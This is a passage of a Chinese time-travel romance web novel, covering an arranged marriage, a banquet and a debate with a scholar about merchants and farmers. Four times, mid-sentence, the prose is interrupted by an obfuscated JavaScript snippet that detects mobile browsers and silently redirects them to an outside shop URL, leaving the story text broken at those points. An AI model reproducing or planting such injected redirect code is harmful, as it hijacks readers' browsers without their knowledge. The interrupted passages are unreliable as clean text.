那两个人贩子说着话,脚步声已踏入了外间。李令双下意识屏住呼吸,心跳不受控制地快了几拍。 时近正午,日光正烈,明晃晃的光线从窗格斜射进来,穿透厚重的红色桌幔,在狭小的桌下空间里氤氲开一片朦胧的暖红。 两人蜷在这方与外界仅一帘之隔的天地里,气息相闻。年轻男子稍一低头,便对上了李令双近在咫尺的目光。 绒布滤过的光,柔柔地敷在她脸上。 暖红光晕如一层薄纱,将她容颜笼得温润。 肌肤细腻如新雪初凝,鼻尖那点小痣似墨痕淡扫,悄然添了分灵动的韵致。两片嘴唇不施脂粉,却泛着秾李般的红润,格外娇嫩。 最是那双眼睛,因着方才的紧张,瞪得圆圆的,眸光清澈灵动,干净得像小鹿的眼睛,此刻正毫不避讳地、带着些许好奇与打量回望着他。 那一瞬间,年轻男子的呼吸,几不可察地滞了一下。 恰在此时,头顶的桌面上传来“咕咚咕咚”倒水的声音,接着是“咕噜咕噜”牛饮的动静。 一个声音催促道:“喝够了快走!还得去接应那批‘货’,晚上怡红院张妈妈等着呢!” 脚步声再次响起,渐行渐远,终至不闻。 李令双心中一块大石落地,无声地舒了口气。 “他们走了,”李令双开口,“你方才那手让人动弹不得的点穴功夫……能教我吗?” 少女话音温软,清甜的气息轻轻拂了过来。如风动帷纱,似有还无,却足以搅乱一池静水,只教人心头却泛起细碎的涟漪。 年轻男子觉得耳根处似乎有些没来由地发热,他不动声色地将脸侧开寸许,目光落在眼前的红绒桌帷上,声音却还维持着一贯的平静:“下次再说。” 而后他抬手利落地撩开桌帷一角。天光大亮,瞬时涌入,驱散了那片狭小的暗红。 男子继而道:“此地不宜久留。你快些离去,剩下的交给我。” 4. 亲事 待李令双离开得远了,这才想起——自己竟忘了问那男子此是何处,更别提问人家姓甚名谁、家住何方了。 这下好了,人海茫茫,点穴的功夫怕是真没处学了。她心下懊恼,也只能顺着巷子继续走,盼着能遇上个路人问路。 等真问到路,慢慢摸回家门口,日头已经西斜,天色染上了淡淡的灰蓝。 远远地,她便瞧见自家院门外,一个魁梧的身影正背着手,来来回回地踱步——这正是她爹李老三。 李令双心里咯噔一下,硬着头皮走近。 李老三一抬眼看见女儿,他的脸膛立刻板了起来,浓眉拧成了川字。 他张了张嘴,似乎想吼,又瞥了眼左右邻舍,到底把声音压了下来,却更透着火气:“你还知道回来!这两天外头丢了几个大姑娘了,你知道吗?你一个丫头片子,也敢这么野在外头疯跑!” 说完,他狠狠瞪了李令双一眼,转身“哐当”一声推开院门,大步走了进去。 李令双缩了缩脖子,乖乖跟在后头。 一进堂屋,李老三把手里擦汗的布巾往桌上一摔,气呼呼地坐下:“你说说你!以前虽说也活泼,可也没见这么没个拘束!眼瞅着就要出门子了,嫁的还是那样的人家,最讲究的就是个稳重端庄!你这毛躁性子要是带过去,人家高门大户的,能瞧得上?” “嫁人?”李令双一愣,这词儿蹦出来,砸得她有点懵。 就在这一愣神的工夫,一些破碎的、被原主遗忘在伤损头脑深处的画面,忽然毫无征兆地翻涌上来。 一个身着直裰、身姿如修竹般挺拔的男子,与她相对而坐。他的面容笼罩在一层薄雾似的朦胧里,看不真切,只有一道清瘦孤直的轮廓。 “……如今良田兼并愈演愈烈,百姓生计日益艰难。我虽人微力薄,亦想勉力一试,为百姓多谋一线生机。” “故与恩师议定,欲行‘摊丁入亩’之新法。只是……”男子的声音顿了顿,似有涩然,“我已有婚约在身。而自古欲行改革者,几无善终。我恐牵连于你。这些金银你收下,从此你我婚约作罢,我会亲往府上退婚。” 话音落下,一只木箱被推至面前,箱盖敞开,里头是满满当当、粲然夺目的金银元宝。 记忆中的原主却对那耀眼的财富视若无睹,心中满是对眼前人的倾慕与坚决,只颤声回应:“我不怕。既已许婚,便当同甘共苦,生死相随……” 李令双从这段突如其来的记忆中回过神来,第一反应不是感动,而是下意识地咂舌:那么多金子银子,说不要就不要了? 紧接着,一个念头如电光石火般窜过——“摊丁入亩”?这不是清朝才有的政策吗?难道……她那未婚夫,也是个穿越者? 再一细想,他话里那句“自古欲行改革者,几无善终”,更是让她后颈一凉。这哪里是嫁人,这分明是提前预定了一个“陪葬”名额啊! “不行!”她一个激灵,脱口而出。 李老三正端起茶碗,被她这一嗓子惊得手一抖,茶水差点洒出来:“啥不行?你之前不是整天江彧长江彧短的,扒着人家不放,咋现在又不嫁了?” “闺女,咱家是杀羊卖肉的,能攀上这样的人家,那是你亲娘当初一把好医术,救活了人家亲娘才换来的娃娃亲!多少平民丫头求都求不来的福气,你还不乐意?你傻了吧!” “不是我傻,是您不明白!”李令双急道,“他要在朝里搞什么‘摊丁入亩’,那是要动别人饭碗的!是要跟一堆有权有势的人对着干的!这搞不好就是要掉脑袋、连累全家的事!咱能跟着去蹚这浑水吗?” 李老三一个屠夫,平日里操心的是猪肉行情和邻里长短,哪里懂这些朝堂上的弯弯绕绕。 他只听出女儿要反悔,还是反悔一桩他眼里千好万好的亲事,顿时牛眼一瞪:“什么浑水不浑水!老子听不懂!定了的亲事就是定了!人家江公子那是要做大事、有出息的人!你再胡咧咧,看我不……” 见老爹油盐不进,李令双知道硬说无用,只得暂且按下话头。 等李老三气哼哼地被继母刘氏劝回房,李令双立刻溜去后院,找到了小丫鬟小茹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224398|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李令双向小茹打听道:“你可那那江彧,究竟是个什么情形?” 小茹眨眨眼,有些讶异:“姑娘当真什么都记不得了?连江大人也不记得了!”她顿了顿,想起姑娘之前的痴缠,又觉得忘了或许也好,便老实道,“姑娘从前确是待江大人十分上心。只是江大人那边,瞧着总是不远不近的,并未见得多热络。” “哦?”李令双挑眉,“原来是落花有意,流水无情。看来倒是我剃头挑子一头热了。这人什么来历,你细细说与我听。” 小茹平日听得老爷向人炫耀的话多了,也知晓些,当下道:江大人是承平三年的探花郎,江家老爷做过户部尚书,只是已故去了。如今府上就一位夫人。因着本家无嗣,早年收养了一个从青州逃难来的孩子,便是如今的江大人。他少时曾给当今圣上当过伴读,情分不同旁人。他的恩师是前内阁首辅郑观昀郑老大人,也是圣上的老师,只是前些年得罪旁人致仕还乡了。” “江大人也因此受了些牵连,才外放到咱们这小地方做了县令。不过前些日子听老爷念叨,仿佛京城有风声,说圣上要起复郑大人回京。若郑大人真回了内阁,那江大人调回京城,想来也是早晚的事。” 李令双听着,心下恍然。她初来这大雍朝时,便看过此间版图,与前世现代相差无几。照此换算,青州的位置,恰与她前世故乡相仿。 如此一来,她与江彧,倒也算半个同乡了。 她心里还飞快盘算:恩师起复,弟子自然也要回京。 这两人蛰伏数年,一朝得势,恐怕不是回去享福的。他们要做的,是“摊丁入亩”这等捅破天的大事。这法子能在清朝推行,靠的是皇帝集权的铁腕。他们一非帝王,二非权倾朝野的权臣,就敢动天下仕绅的命根子…… 她脑中闪过几个名字:商鞅车裂,王莽身死国灭,范仲淹新政夭折,王安石罢相归隐,新政尽废……自古变法者,有几个得了好下场?这简直是在悬崖边上走钢丝,底下还是刀山火海。 “这可真是……”李令双喃喃道,这婚约,怎么看都像一道催命符。 5. 故人相见不相识 没过两日,致仕的都察院左都御史王老爷府上,派了人来李家传话。来的是李令双的亲姑姑、如今王府的主母李春娥身边的得力嬷嬷。 说起这位姑姑李春娥,也是段故事。 当年王老爷子年近中年,原配夫人早已过世,膝下只有女儿,一直无子。 后来纳了当时刚及笄的李春娥为妾,没曾想李春娥是个易生养的,入门不久便怀了身孕,一举得男。 王老爷老来得子,欣喜若狂,便将诞下独子的李春娥扶了正,做了王府的主母。 成了官家夫人的李春娥,倒也没忘记屠户出身的娘家哥哥,平日里常有接济。 而李令双与江家那桩婚约,让王家觉得李家这门穷亲戚或许还有些“潜力”,对李家的接济也就睁只眼闭只眼了。 明日是王家老夫人的寿辰,李春娥特意派了身边得脸的周嬷嬷来,请侄女李令双过府赴宴。 周嬷嬷还带来了几匹上好的料子,说是夫人给姑娘裁身新衣裳,明日穿去也体面。 院子里。 日头正好,李令双正在院子里折腾。 她寻了根结实木棍当剑,回忆着前世学过的格斗基础,一板一眼地练习步法与发力。 这身体到底疏于锻炼,没一会儿就气息微喘,额角见汗,但她眼神专注,抿着唇一遍遍重复着最简单的刺、挑、格挡动作,试图重新唤醒肌肉的记忆。 练是练了,她也清楚,就这点时间,想出什么大效果是别想。怎么也得踏踏实实练上大半年,才能找回点前世的身手。眼下嘛,顶多算是活动活动筋骨,让这身子骨别太娇气。 小茹端着茶水和布巾过来,看她练得认真,等了一会儿才开口:“姑娘,先歇歇吧。王府的周嬷嬷来了,带了好些漂亮料子,让您挑过几日寿辰穿的新衣裳呢。” 李令双收了势,接过布巾擦了擦汗,眉头下意识地蹙起。 去那种满是陌生人的寿宴?想想就闷得慌。可姑姑特意来请,不去又实在失礼。 “知道了。”她将木棍靠墙放好,转身进了屋子。 屋里桌上果然摊开着几匹料子,在窗下日光里泛着柔和的光泽。 周嬷嬷在一旁陪着笑。 小茹指着一匹鹅黄色暗织缠枝莲纹的杭缎,又拎起一匹水绿色绣着细碎折枝花的潞绸,兴致勃勃地问:“姑娘,您看这鹅黄的做衫子,水绿的做马面裙,可好?这颜色鲜亮又雅致。” 周嬷嬷立刻笑着附和:“小茹姑娘好眼光!这上黄下绿,正是时兴又得体的配色。咱们李姑娘模样生得这般标致,穿上这好料子裁的衣裳,只怕明日要把满园子的花儿都比下去了。” “嬷嬷就会说好听的。”李令双笑道,“行,就按小茹说的做吧。” 裁缝量完尺寸,带着料子离去后,日子便在这小小的院落里平缓地滑过。 李令双依旧每日清晨在院里活动筋骨,练习那些旁人看不懂的架势,身体虽仍不及前世矫健,但气力眼见着比刚醒来时足了些。 如此过了三四日,新衣终于在王老夫人寿辰的前一天送了来,熨烫得平平整整。 一大早,小茹就将赶制好的新衣裳取来,伺候李令双换上。 鹅黄色的衫子衬得人格外明亮,水绿色的马面裙行动间如水波流动,裙襕上的刺绣精致而不张扬。 小茹又给她梳了个清爽的挑心髻,簪上一支李春娥早前送的珍珠簪子,整个人便焕然一新,既有少女的娇俏,又不失大方。 临出门前,李老三上下打量女儿一番,黑红的脸上露出难得的满意神色,粗声嘱咐:“到了你姑姑家,少说话,多看眼色,别给你姑姑丢人。” 刘氏也立在门边,脸上端着笑,目光却像细密的梳子,从李令双发髻上的珍珠簪子,一路掠到新衣裳的料子、绣工,最后才落到李令双脸上。 她嘴角弯着的弧度恰到好处,声音也温软:“是呀,令双如今出落得越发水灵了,去了那样的好地方,更要谨言慎行,莫要失礼。” 李令双嘴上应着“知道了”,心里却想着:但愿宴会上有点有意思的事,别真闷死人就好。 马车早已备好,是李春娥特意派来接她的,比自家平日用的青布小车要宽敞整洁许多。 李令双带着小茹上了车,车夫吆喝一声,马车便辘辘驶出了巷子,朝着城东王府的方向去了。 一上车,小茹便忍不住掀起侧帘一角,朝外望去。 街道两旁店铺林立,行人如织,叫卖声、谈笑声混成一片温吞而热闹的市井气息,阳光暖融融地铺在青石板上。 她心里立刻有了主意:等会儿回程,说什么也不坐这直接到家的马车了,定要在这街上好好逛上一逛,才不枉出来这一趟。 马车穿街过巷,约莫两炷香的功夫,速度渐渐慢了下来。 马车缓缓停在王府气派的黑漆大门前。 门楣高阔,两只石狮蹲守两侧,威严肃穆。 今日府中有寿宴,门外车马络绎不绝,穿戴体面的宾客递上帖子,由管事含笑引入。空气中飘着淡淡的食物香气与隐约的丝竹乐声。 李令双由小茹扶着下了车,抬眼略略一扫。 王府不愧是官宦世家,门庭轩朗,庭院深深。 引路的婆子态度恭谨,领着她穿过垂花门,绕过影壁,沿着抄手游廊往内院去。 一路上但见庭院收拾得齐整,花木扶疏,仆役们端着各色物品往来穿梭,井然有序。 官宦人家的寿辰,讲究的是个“礼”字与“热闹”。 正厅自是布置成寿堂,悬挂寿幛,摆设香案寿桃。 男宾们在前院由王家子弟或管事接待,品茶寒暄,或许还有清客相公预备了投壶、双陆等雅戏助兴。 女眷们则聚在后宅花厅或暖阁,说些家常,听听小戏,或赏玩主人家的珍奇摆设。 宴席是重头戏,必定是山珍海错,水陆并陈,还会请了城里最好的戏班子来唱堂会,那咿咿呀呀的唱腔此刻已隐隐飘来。 正走着,将到一处月亮门洞时,李令双忽觉身上一滞,仿佛被一道沉静的视线轻轻拂过。 她下意识扭头看去。 不远处的青石小径旁,一树开得正盛的梨花下,立着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224399|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 日光透过细碎的花瓣,在他月白色的直裰上投下斑驳光影。 最先映入眼帘的,是那双眼睛——眸色偏浅,像初春尚未完全化开的溪水,清澈而透着一股疏淡的凉意。 日光在他挺直的鼻梁一侧留下淡淡阴影,薄唇微抿,下颌线条清晰。 整个人站在那里,便如一段清冷的玉,或是未经雕琢的寒竹,周身萦绕着一种与周遭喧闹格格不入的沉静气韵。 李令双心里暗赞了一声:好相貌,好气度。只是这通身的气派……也太冷清了些。 他的目光在她身上,不闪不避,也无甚波澜,只是那样看着,眉宇间带着一种山水画般的、恰到好处的距离感。 见他只是驻足望着自己,并未移步,也无开口招呼的意思,但那目光分明是相识的。 李令双虽不记得此人是谁,但估摸着应是原主认识的人,或许是哪家的公子少爷。 她不想失礼,便也朝着那个方向,微微颔首,唇角弯起一个礼貌的、无可挑剔的浅笑。 随即,便自然地收回视线,跟着引路的婆子继续朝内院走去,裙摆拂过洁净的石子小径,再未回头。 进了姑姑的院子,早有丫鬟通报进去。 李春娥正由两个丫鬟伺候着对镜理妆,从镜中看见青青进来,立刻笑着转身,亲亲热热地拉过她的手,上下打量:“好孩子,可算来了!让姑姑好好瞧瞧……嗯,气色倒比前些日子好多了,这身衣裳也衬你。” 李春娥拉着李令双在身边坐下,吩咐丫鬟上茶果,这才关切问道,“你爹身子骨还硬朗?铺子里忙得过来么?还有你那个小兄弟,康哥儿,近来可还乖巧?读书可用了心?” 李令双知道这位姑姑是真心记挂娘家,便也顺着话头,带着几分晚辈的亲昵答道:“劳姑姑惦记,爹爹身体好着呢,每日天不亮就去肉铺,精神头足。康弟也好,前日先生还夸他字有进益呢。” 康哥儿是她继母刘氏所生的儿子,今年刚满七岁,李老三老来得子,很是疼爱。 李春娥听了,脸上笑意更深,拍了拍她的手:“那就好,那就好。你爹是个实在人,康哥儿还小,你如今是家里的大姑娘了,要多替你爹分忧才是。” 她顿了顿,像是忽然想起什么,“对了,今日老夫人寿辰,江大人也应邀前来。方才……你在外头,可曾遇见了?” 李令双捧着温热的茶盏,摇了摇头:“不曾遇到呢。” 心里却咕哝了一句:外头人来人往,宾客如云,哪能那么容易就碰上?再说了,就算真打了个照面,她也压根儿认不出来谁是谁呀! 李春娥观察着她的神色,见她提起江彧,眼神平静,语气也平平,与从前那副一提就眼睛发亮的模样截然不同,心下不由诧异,但面上未显,只拍了拍她的手背:“没遇到便没遇到吧。你先在姑姑这儿歇歇脚,喝口茶,待会儿开席了,姑姑带你去见见几位相熟的夫人小姐。” 李令双端起茶盏,乖巧应了声“好”。 茶香袅袅,姑侄二人又说了些家常闲话,外头渐渐传来请宾客入席的悠长唱喏声。 6. 呛举人 王老夫人寿宴散时,天边还剩一抹橘红的霞光。街道两旁已次第亮起灯火,人声比白日更喧腾几分——今日恰是大雍酬明节。 李令双带着小茹走在街上,听着身边路人兴奋的议论: “快去棠梨苑占位子!去晚了可就挤不进去了!” “听说今年新来的几位姑娘,色艺双绝,上月霓裳阁的绸缎都被她们买空了去做舞衣!” “何止!去年花魁柳如烟那一曲《踏云逐月》,从三楼飘然而下,水袖展开仿若云霞,足尖点在宾客举起的琉璃盏上,盏中酒水纹丝不动!那身段,那胆色,啧啧……” 李令双听得心痒,不顾小茹那句“姑娘,这地方去不得”的低声劝阻,寻了个成衣铺子,主仆二人匆匆换了身半新不旧的青布男装。 李令双领着扮作小厮、紧张得手心出汗的小茹,混进了人头攒动、香气缭绕的棠梨苑。 一楼大堂已是乌泱泱一片,笑闹声、丝竹声沸反盈天。李令双正新奇地东张西望,目光却忽地定住了。 大堂立着几个华服公子,正被一群莺莺燕燕围着说笑。 其中一人,青衫落拓,正是那日巷中出手的男子。 他此刻却被几位云鬓香衫的姑娘围着。一方浅绯色的罗帕带着香风,正试图拂过他的面颊。 他略一偏头,那罗帕便只擦着他肩头的衣料滑了过去。执帕的女子也不恼,只抿嘴笑着,手腕一转,就要摸向他的手背。 他只将手背在身后,眼帘微垂,任由那些或嫣红或水绿的轻纱薄绢,带着女子们轻快的笑语与若有似无的香气,流水般从眼前、身畔拂掠而过。 姿态虽无失礼之处,但那微微僵直的肩线,与刻意避开触碰的小幅侧身,却透出一种与周遭旖旎氛围格格不入的、近乎无奈的疏离。 此刻,一位大胆的红衣姑娘正试图去摸他的脸,他却微微侧身避开。 旁边同伴见状,拍桌大笑:“燕兄!既到此处,何必还端着那副柳下惠的模样!” 青衫公子并不接话,只略一牵嘴角,那笑意淡得几乎看不见,眼神却透出几分被这过分热情的脂粉香气围困住的、无可奈何的疏淡。 李令双又惊又奇,没想到会在此地再遇。她定了定神,理了理衣襟,带着小茹走上前去。 “这位兄台,真是人生何处不相逢。”她学着男子礼节,拱手一笑。 那青衫男子闻声转头,先是一怔,待看清李令双虽作男装却难掩灵秀的眉眼,眼底瞬间掠过一丝讶异,随即那讶异便化作了清晰的笑意。 “是你?”他的声音里带着显而易见的惊喜,“那日仓促,还未请教姑……”他顿了顿,目光扫过她一身装扮,笑意更深了些,却体贴地没有点破。 两人正寒暄,一个妆容精致、风韵犹存的老鸨满脸堆笑地扭了过来,声音又甜又糯:“哎哟,把总大人们!什么风把您们给吹来了!您们能来,咱们棠梨苑真是蓬荜生辉!快,楼上给您留着最好的聆风阁呢!”语气恭敬得近乎谄媚。 把总?李令双眉梢微动。原来他不是江湖游侠,而是有官职在身的……武官?看这老鸨的态度,众人官阶恐怕还不低。而且刚刚看这青衫男子视女子为洪水猛兽的样子,恐怕也是他被这些同僚硬拽来这风月所的。 老鸨热情地要引他们上楼,忽听楼上“哐当”一声巨响,像是重物砸地,接着传来一阵含糊的叫骂。 老鸨脸上笑容一僵,眼中闪过恼火,低声咒道:“又是楼上那个穷酸!给脸不要脸的东西!”她迅速换上笑脸,对青衫男子和李令双道:“二位贵客先随丫头去包房歇着,吃些酒水果品,我去去就来。” 李令双好奇心起,问道:“妈妈,楼上这是……” 老鸨正愁没处说,立刻倒起苦水:“我们前儿从周边地界买了一个丫头——花了足足二十两雪花纹银呢!原是大户人家里头玩腻了的小妾,这才发卖了出来……” “那丫头模样好,识文断字,还会弹琴,本是棵好苗子。谁知被一个姓孙的穷举人盯上,竟把人给拐带出去一天!虽然后来找回来了,可这姓孙的像个膏药似的黏上了!” “我们走哪儿他跟哪儿,昨日竟跟到棠梨苑,赖着不走了!举人老爷,打不得骂不得,讲道理他又是个滚刀肉,真真愁死个人!老娘不信了,明日就写状子递到县衙,告他个斯文扫地,革了他的功名!” 李令双听得有趣,心想这举人倒是个无赖的奇人。她眼珠一转,笑道:“告官未免兴师动众,县尊大人日理万机,未必有空理会此等纠纷。不如……让我去会会这位举子?” 老鸨闻言,目光在神色平静的青衫男子和跃跃欲试的李令双之间打了个转,见青衫男子并未出声反对,顿时心领神会,喜上眉梢:“那敢情好!有二位出面,定能叫那无赖心服口服!快,快请随我来!” 一行人上了楼,来到一间颇为宽敞的雅室门前。未等敲门,老鸨便气冲冲地推门而入。 室内陈设简单,窗边椅上,大马金刀地坐着一个约莫二十出头的年轻男子。他穿着一身洗得发白的蓝布直裰,头戴方巾,面容清瘦,下巴微扬,带着读书人特有的傲气。 地上躺着一块砚台大小的镇纸石,想来便是方才那声巨响的来源。 见众人进来,尤其是看到老鸨,这孙举人非但无惧,反而抢先发难,冷笑一声:“嗬,我当是谁,原来是妈妈搬救兵来了?怎么,这棠梨苑开门做生意,连客人独坐静思也要派人搅扰?这便是贵楼的待客之道?真是有辱斯文!” 老鸨被他一番连消带打,气得脸上厚厚的脂粉都在抖动,偏又一时词穷,模样着实有些滑稽。 李令双见老鸨又要发作,忙上前一步,温言道:“妈妈且先去忙,这里交给我们便是。” 待老鸨不情不愿地退下关上门,室内顿时清净不少。 李令双转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224400|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向那孙举人,拱手道:“在下冒昧,敢问兄台尊姓大名?” 孙举人斜睨她一眼,见她衣着普通,年纪又轻,神态愈发倨傲:“本公子乃承平一年乙科举人。你又是何人,身具何功名,也配与我称兄道弟?” 李令双不慌不忙,笑道:“功名不过朝廷选拔人才之一途,却非衡量人物高下之唯一准绳。” “敢问孙举人,若是一位屡立战功、保境安民的将军,他见你,是否也要因无举人功名,便矮你一头,尊你一声‘举人老爷’?若交友论事,只以八股文章取人,而罔顾实学品性,岂非落入俗套,徒惹人笑?” 孙举人被她一噎,脸色涨红,强辩道:“你……你此话,莫非是对朝廷八股取士之制有所质疑?” “不敢。”李令双从善如流,“八股取士乃先皇所定,自有其道理与时效。” “在下只是觉得,读书为官,最终目的是经世济民。四书五经教的是修身齐家治国平天下的大道理,犹如房屋梁柱。” “然则,一方父母官,还需知晓钱粮经济如何运转,农桑水利如何兴修,刑名律法如何裁断,乃至医疫工造等实务。”她顿了顿,目光清亮,“若只熟读经义,却不通实务,犹如只会背诵营造法式的匠人,真给他木石砖瓦,能造出结实耐用的房屋来么?只怕到时,非但造不出广厦,反而可能搭起歪楼,贻误民生。那样的官,与只会学舌的鹦鹉,又有多大分别?” 她这番话,既有分寸,又直指要害。 孙举人听得愣住,仔细咀嚼,觉得似乎有些道理,但又仿佛哪里不对,与自己笃信的那套“万般皆下品,唯有读书高”、“书中自有黄金屋”的观念格格不入。他张了张嘴,脸色微红,竟一时不知如何反驳。 就在这时,一直坐着听他们说话的青衣男子,忽然“噗嗤”一声笑了出来。 那笑声很轻,带着少年人特有的明朗气。他本就生得一副好样貌,眉目舒展,这一笑,眼尾便弯起一个极好看的弧度。 他没有看尴尬的孙举人,也没有看侃侃而谈的李令双,目光只是随意地落在自己转着茶杯的手指上,但那轻快的笑意,却打破了室内的凝滞:“这位小友所言,确是务实之论。为官一任,造福一方,光有圣贤道理在胸,而无实务之能傍身,确乎不够。” 孙举人脸色变幻,他最终对李令双拱了拱手,语气虽仍端着读书人的架子,却也和缓了不少,只是眉头依旧皱着,显是觉得李令双方才那番话既新鲜又有些“离经叛道”:“这位……嗯,小友所言,乍听惊世骇俗,细细想来……倒也不无启人深思之处。能道出这番见解,想必胸中另有丘壑?孙某愿闻其详。” 侍立在李令双身后的小茹,此刻嘴巴微张,望向自家姑娘的眼神里充满了不可思议——姑娘什么时候懂得这些大道理了?还能把一位正经举人老爷说得脸色几变,最后竟要“愿闻其详”?这、这还是她认识的那个姑娘吗? 7. 士农工商,孰重孰轻? 李令双心里门儿清,四书五经她是一窍不通,真要掉书袋,立马就得露馅。 但说到“杂学”、“道理”,她这个见识过信息爆炸时代的现代灵魂,可就有话说了。 见孙举人上了“钩”,她反倒不急了,气定神闲地坐回原位,自己提壶倒了杯清茶,润了润嗓子,这才抬起一双清亮的眸子,笑盈盈地抛出一个问题: “兄台,咱们暂且抛开那些圣人之言。我且问你一个最实在的——士农工商,在你看来,孰轻孰重?如何排序?” 孙举人不假思索,这是印在读书人骨子里的答案:“自然是农为首,仕次之,工再次,商为其末。” “士者,治国平天下;农者,天下之本,衣食所出;工者,制器利民;商者,不过是互通有无,低买高卖,于国于民,并无根基之重。” 他顿了顿,略带审视地看着李令双,“莫非小友对此有不同见解?” 一直坐在旁边静听的青衣男子,此刻也微微倾身,显出几分兴趣。 “根基?”李令双放下茶杯,语气轻快却清晰,“兄台说农是本,我举双手赞成。” “那请问,同样是耕种,用耒耜和用曲辕犁,产出可一样?用老法子看天吃饭,和若能懂得些许天文水利,让庄稼早几日灌上水、避开一场雹子,收成又可会一样?” 孙举人一怔:“这……自然是有利器、知天时者更佳。此乃工之巧思与……与格物之智,亦不可废。” “着啊!”李令双抚掌一笑,眼睛弯成月牙,“您看,这就不是简单的‘农’事了。” “这需要‘工’去打造更好的农具,需要人去研究天时地理、土壤水利——我管这叫‘格物致用’之学,或者说,是能让土地生出更多粮食的‘法子’。” “这‘法子’进步了,一个农人能养活的人就多了,是不是这个理?” 孙举人下意识点头:“确是如此。‘工欲善其事,必先利其器’,古有明训。” “好,”李令双话锋一转,“那么商人呢?若没有商人南来北往,苏杭的丝绸、景德镇的瓷器、两淮的盐,如何能到边陲百姓手中?” “关中的麦、江南的米,如何能互通有无,平抑灾年的粮价?他们看似‘低买高卖’,实则让物产流通,货尽其用,地尽其利。” “没有这份流通,苏州的绣娘手艺再好,也只能守着锦绣饿肚子;北地的牧民牛羊成群,却换不来急需的茶盐布匹。这算不算也是让天下财富‘活’起来,让百姓生计多一条路的‘根基’?” 孙举人眉头紧锁,显然在激烈思考。 他沉吟道:“小友此言……也有几分道理。商之流通,确有其用。然则商人重利轻义,盘剥百姓,亦是常事,岂能与士农之功等同?” “所以我没说商人个个是圣人呀。”李令双摊摊手,神态自然,“就像读书人里也有贪官污吏,农民里也有懒汉,工匠里也有造劣器的。” “咱们论的是这‘事’本身有没有用,而不是做这事的人是不是完美无瑕,对吧?” “再说,若没有商人冒险涉远,我们如何能见到异域的香料、宝石、新奇作物?” “眼界如何打开?我听说先皇有何明下海,带回的岂止是珍宝,还有海图、见识,这算不算功劳?” 青衣男子听到这里,眼中掠过一丝激赏。他难得主动开口,声音清润:“听你之意,是认为工之巧技、商之流通,若能导向富国利民之实,其价值便不容轻视?” “公子说得通透!”李令双朝他眨了眨眼,继续对孙举人道,“所以说到底,士农工商,看似四业,实则相辅相成。读书人制定好的律法、政策(比如轻徭薄赋、鼓励耕织),来保障这个循环;农民提供最根本的粮食衣物;工匠不断改进工具、技术;商人则像血脉,让这些东西流动起来,去到需要的地方。” “血脉不通,人就会生病;货殖不通,天下也会生病。这四者,缺了谁,这天下都难真正安康富足。” 她顿了顿,抛出一个更“超前”的概念:“我把这种能让土地多产粮食、让工匠造出更精良物品、让流通更有效率的本事,叫做‘生财之力’或者‘造富之能’。” “这能力越强,天下能养活的安分百姓就越多,日子就越好过,国家自然就越稳固。这可比空谈道德文章,更关乎实实在在的民生呢。” 孙举人听得入神,忍不住追问:“小友这‘生财之力’说,新颖别致。依你之见,这‘商’与你这‘生财之力’,又有何深层关联?莫非多几个商人,这‘力’就强了?” “关联可大了!”李令双解释道,“商人行走四方,见多识广。他们为了赚取利润,天然就会去寻找哪里有什么好东西,哪里又急需什么货物。” “这个过程,本身就在促进各地物产、技术的交流。比如,一个商人发现某地产出一种新染料更鲜亮持久,他就会把这染料贩运到织造发达之地。” “织工用了更好的染料,织出的绸缎更美,就能卖出更高的价钱,这就鼓励了更多人研究更好的染料和织法。” “你看,商人的求利之举,是不是无形中推动了染织技术的进步?这就是‘商’刺激了‘工’的改良,最终提升了咱们说的那个‘生财之力’。” 青衣男子若有所思,指尖轻轻摩挲着茶盏边缘:“如此说来,商如活水,不仅能流通货物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224401|197559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦能……激发死水微澜,引动变化?只是这变化,好坏难料。” “公子说到点子上了!”李令双赞道,“所以这才需要‘士’啊!需要好的规矩、律法来引导这活水,让它去浇灌良田,而不是肆意泛滥成灾。” “譬如设立公平的市易法,惩处欺行霸市,保护诚信经营的商人,这不就是读书人该琢磨的事么?” 